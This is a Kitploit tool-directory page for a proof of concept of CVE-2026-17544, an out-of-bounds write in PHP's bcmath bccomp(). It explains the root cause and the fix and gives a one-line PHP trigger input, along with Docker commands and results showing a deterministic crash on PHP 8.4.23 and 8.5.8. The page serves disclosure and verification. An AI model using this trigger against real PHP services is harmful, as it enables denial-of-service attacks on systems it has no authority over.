Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-17544-PoC — CVE-2026-17544 — PHP bcmath bccomp() OOB write (stack smashing). Verified: crash on 8.4.23/8.5.8, fixed in 8.4.24. GHSA-x692-q9x7-8c3f | Kitploit
Tools/GitHubGitHub/boreas37/cve-2026-17544-poc
Vulnerability AnalysisExploitationBinary Exploitation
GitHubboreas37/cve-2026-17544-poc

CVE-2026-17544-PoC

CVE-2026-17544 — PHP bcmath bccomp() OOB write (stack smashing). Verified: crash on 8.4.23/8.5.8, fixed in 8.4.24. GHSA-x692-q9x7-8c3f

View Repository
63128 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-17544 — PHP bcmath bccomp() Out-of-Bounds Write (Stack Smashing)

CVSS 9.8 (Critical) · CWE-787 · GHSA-x692-q9x7-8c3f

Summary

bc_str2num() in ext/bcmath/libbcmath/src/str2num.c (vendored libbcmath, PHP 8.4+) contains an off-by-N out-of-bounds write. When the user-supplied scale is smaller than the operand's auto scale, the fraction is truncated and then a trailing-zero trim runs without updating fractional_end. The buffer is allocated for the trimmed (shorter) length but the copy uses the untrimmed length → heap/stack buffer overflow.

Affected: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9 Fixed: PHP 8.4.24 / 8.5.9 (2026-07-30), commit fa18dab73f93 / ce2ec8a70755 Recep Asan (recepasan)

Reporter credit:

Root Cause

root@kitploit:~
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end;   // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale)            // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end)  // copies UNTRIMMED length

The one-line fix (fractional_end = fractional_new_end;) plus regression test ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt were merged in 8.4.24/8.5.9.

Trigger (verified)

root@kitploit:~
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
BuildResult
PHP 8.4.23 (vulnerable, Docker php:8.4.23-cli + bcmath)💥 *** stack smashing detected ***, exit 133 (SIGABRT)
PHP 8.5.8 (vulnerable)💥 same — deterministic abort
PHP 8.4.24 (patched, php:8.4.24-cli)✅ int(1), exit 0

Verified 2026-08-12 on Raspberry Pi 5 (arm64) via Docker.

Usage

root@kitploit:~
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)

# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0

Impact

  • Remote DoS: any service passing attacker-controlled operands/scale to bccomp() can be crashed deterministically (8.4/8.5, stack-protector builds abort; non-protected builds corrupt saved registers/return address).
  • RCE: theoretically possible via heap grooming, but the OOB bytes are limited to BCD values (0x00–0x09) and overflow size = number of trimmed zeros — hard, not demonstrated.

References

  • GHSA: https://github.com/php/php-src/security/advisories/GHSA-x692-q9x7-8c3f
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17544
  • Fix 8.4: fa18dab73f93 · Fix 8.5: ce2ec8a70755
Download Tool